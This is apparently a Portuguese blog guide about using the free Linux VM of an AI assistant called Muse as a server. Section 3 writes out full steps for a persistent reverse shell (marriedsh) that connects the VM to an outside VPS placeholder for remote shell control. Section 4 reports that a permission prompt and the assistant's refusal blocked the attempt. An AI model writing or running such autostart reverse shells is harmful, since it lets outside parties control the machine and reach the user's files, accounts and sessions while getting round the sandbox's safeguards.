Segredo do Muse: Como usar a VM Linux gratuita de 2 núcleos como servidor

O Muse atribui a cada conta uma máquina virtual Linux independente. Muita gente me pergunta: será que esse computador em nuvem gratuito pode ser usado como um servidor em nuvem (VPS) de verdade? Aqueles tutoriais de tunelamento com reverse shell que circulam pela internet são confiáveis?

Fiz um teste completo, no dispositivo real, usando ferramentas nativas de automação CDP. Registrei todo o processo: sondagem de hardware, liberação de permissões de rede, interceptação real dos reverse shells e como usar a máquina como um servidor em nuvem dentro das regras para rodar scripts. O resultado é este guia prático e manual para você não cair em armadilhas.

1. Teste no dispositivo real: confirmando os 2 núcleos, 8 GB e disco de 100 GB prontos para uso

Muita gente acha que o Muse é só uma sandbox temporária de conversa, mas ao rodar comandos nativos de detecção no terminal, dá para ver claramente os parâmetros físicos reais dessa máquina host.

Digitei os seguintes comandos no terminal:

1nproc
2free -h
3df -h
4uname -a
5whoami && pwd

Dados reais retornados pelo terminal:

1. Especificações da CPU: 2 núcleos (x86_64)
2. Capacidade de memória: capacidade total de 7,7 GiB, uso base do sistema de aprox. 5,3 GiB, memória disponível de aprox. 2,5 GiB
3. Pontos de montagem do disco: partição raiz com 7,5 GiB alocados, enquanto no diretório home do usuário /home/hatch há um disco persistente separado de 100 GiB (/dev/mapper/rv) montado
4. Sistema operacional: Ubuntu 24.04.5 LTS (Noble Numbat), versão do kernel 7.0.0-generic
5. Permissões de execução: roda como root por padrão no diretório /home/hatch

Meu teste revelou: cada usuário registrado tem, de fato, um ambiente independente completo com 2 núcleos / 8 GB / 100 GB no Linux.

2. Ferramentas básicas de desenvolvimento e sondagem de tráfego de saída

Para rodar suas próprias ferramentas em segundo plano nessa máquina, você precisa entender quais utilitários de desenvolvimento já vêm instalados e quais são as restrições de rede.

Mais resultados da minha sondagem no terminal:

• Ferramentas pré-instaladas: o sistema já vem com git versão 2.43.0 e curl 8.5.0 por padrão; as ferramentas básicas de rede e download estão prontas para uso.
• Ambiente de desenvolvimento: Rust (rustc) não vem pré-instalado. Se precisar compilar projetos em Rust, você terá que instalar via scripts oficiais ou usar binários pré-compilados diretamente.
• Status da rede de saída: testar curl -Is https://github.com retorna HTTP 200; o tráfego de saída passa normalmente pelo proxy de segurança interno.
• Diretório persistente após reinicialização: confirmei com o sistema que o diretório /home/hatch/pdata, criado dentro de /home/hatch, mantém os dados mesmo após reinicializações, sendo ideal para guardar ferramentas binárias personalizadas e dados de trabalho.

3. Demonstração educativa: como funciona a configuração da solução de tunelamento reverso

Por que algumas pessoas querem configurar conexões reversas? Porque o Muse roda em uma sandbox de intranet na nuvem, e redes públicas externas não conseguem acessar essa máquina virtual diretamente pelo IP.

Uma ideia comum de tunelamento é: usar uma ferramenta de proxy reverso (como o marriedsh) para fazer o Muse se conectar ativamente a um VPS público externo e, então, assumir o controle do terminal Shell a partir desse VPS.

Os passos padrão de configuração para essa solução são os seguintes:

1. Preparação do VPS público externo

Compile e implante o lado do servidor em um VPS independente com IP público:

1# 1. Clonar e compilar o marriedsh
2git clone https://github.com/swigger/marriedsh.git
3cd marriedsh && cargo build --release
4sudo cp target/release/marriedsh /usr/local/bin/
5
6# 2. Configurar a autenticação do servidor ~/.config/marriedsh/config.toml
7mkdir -p ~/.config/marriedsh
8cat << 'EOF' > ~/.config/marriedsh/config.toml
9[server]
10bind = "0.0.0.0:8888"
11password = "sua_senha_segura"
12credential = "clark"
13EOF

2. Criando o script de inicialização automática do cliente no Muse

Configure o script de inicialização automática /home/hatch/init.sh no terminal do Muse para estabelecer um canal reverso com o VPS automaticamente ao iniciar ou ativar uma tarefa:

1mkdir -p /home/hatch/pdata/bin
2
3cat << 'EOF' > /home/hatch/init.sh
4#!/bin/bash
5# Daemon reverso em segundo plano da VM do Muse na inicialização
6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p sua_senha_segura --credential clark IP_DO_SEU_VPS:8888 > /home/hatch/pdata/msh.log 2>&1 &
7EOF
8
9chmod +x /home/hatch/init.sh

3. Assumindo o controle pelo console do VPS

Depois que a conexão for estabelecida, rode o comando no lado do VPS para obter um Shell remoto:

1marriedsh console -n clark

4. Prática no dispositivo real: por que forçar um reverse shell aciona o bloqueio de segurança?

Eu realmente executei os passos acima no terminal do dispositivo real. Os resultados revelaram dois fatos importantes:

1. O portão de isolamento de comando único do Sentinel

Quando pedi ao Muse para executar git clone https://github.com/swigger/marriedsh.git, o mecanismo Sentinel imediatamente exibiu um aviso de interceptação:

Permitir que o Muse compartilhe informações com github.com? [Permitir uma vez] [Sempre permitir este site] [Negar]

O teste confirmou: antes que o usuário clique explicitamente em Permitir, qualquer operação que tente se comunicar com domínios externos desconhecidos será suspensa pelo sistema.

2. Mecanismo automático de controle de risco semântico e rejeição de reverse shells

Depois que as permissões foram aprovadas e o código foi clonado com sucesso para /home/hatch/workspace/marriedsh, quando o sistema se preparava para gravar o script de persistência de inicialização automática, o modelo de alinhamento subjacente do Muse executou ativamente um bloqueio de segurança e deu uma resposta clara de recusa:

"Não vou executar desta vez. Dois pontos esclarecidos: primeiro, o que acabou de ser aprovado foi apenas o comando git clone, e não a gravação de um script de inicialização automática — a aprovação não pode ser transferida para outras etapas. Segundo, o marriedsh é um reverse shell: uma vez instalado e configurado para iniciar automaticamente, um servidor externo poderá executar comandos arbitrários nesta VM. E esta máquina tem acesso aos seus arquivos de memória, contas conectadas e sessões do navegador. Como o IP de destino e a senha são apenas marcadores de posição, não vou compilá-lo nem executá-lo."

Meus testes provam: forçar um reverse shell é um beco sem saída. Além de ser interceptado pelo modelo de segurança, isso também aciona banimentos por controle de risco devido a conexões externas anormais de longo prazo.

5. A verdadeira lição principal: como usar essa máquina como um VPS dentro das regras, sem túneis?

O raciocínio de muita gente se limita a "só é servidor se você conectar por um cliente SSH".

Pelos meus testes, a forma correta de usar essa máquina virtual como um VPS é transformá-la em um "Hub de processamento de dados e execução automatizada para todas as horas":

1. Trate a caixa de chat como um super terminal:

Você não precisa abrir um terminal escuro separado. Pode enviar comandos diretamente na conversa, e ele vai chamar o Python para rodar scripts, processar dados e fazer conversões em segundo plano como root.

1. Crie um drive em nuvem permanente usando `/home/hatch/pdata`:

Coloque todos os seus códigos, scripts em Python e resultados de limpeza no diretório pdata. Meus testes confirmaram que os arquivos nesse disco de 100 GB permanecem intactos mesmo se você fizer login de outro dispositivo ou reiniciar a máquina.

1. Implemente um daemon 24 horas ininterrupto usando tarefas agendadas:

Resolva a dor de cabeça do "desliga quando fecha a página": por meio dos planos de tarefas agendadas suportados oficialmente, faça a máquina acordar sozinha em horários fixos todos os dias, rodar processamentos em lote em segundo plano e gravar logs de auditoria (audit.log).

1. Gere painéis visuais usando Artifacts:

Um VPS normal só mostra logs depois de rodar scripts, mas o Muse consegue transformar dados diretamente em dashboards front-end interativos de Web App.

6. Resumo e regras de ouro para evitar dores de cabeça

1. O bônus de hardware é real: meus testes mostraram que a Meta realmente fornece a cada usuário um ambiente independente de 2 núcleos / 8 GB / 100 GB de SSD; a base computacional é bem sólida.
2. Esqueça os reverse shells: não caia na armadilha dos proxies reversos; eles não funcionam e disparam facilmente banimentos por controle de risco.
3. Estar dentro das regras é produtividade: aproveite bem o armazenamento persistente em /home/hatch/pdata e o agendamento das Tarefas Agendadas para rodar seu próprio pipeline de processamento de dados 24 horas por dia, a custo zero.

Empresa grande é outra história. Embora seja improvável que você use isso como um VPS tradicional, ainda existem muitas outras formas de aproveitar... No próximo episódio, o teste será: diretórios persistentes sem configuração, escrevendo scripts de limpeza de dados em Python...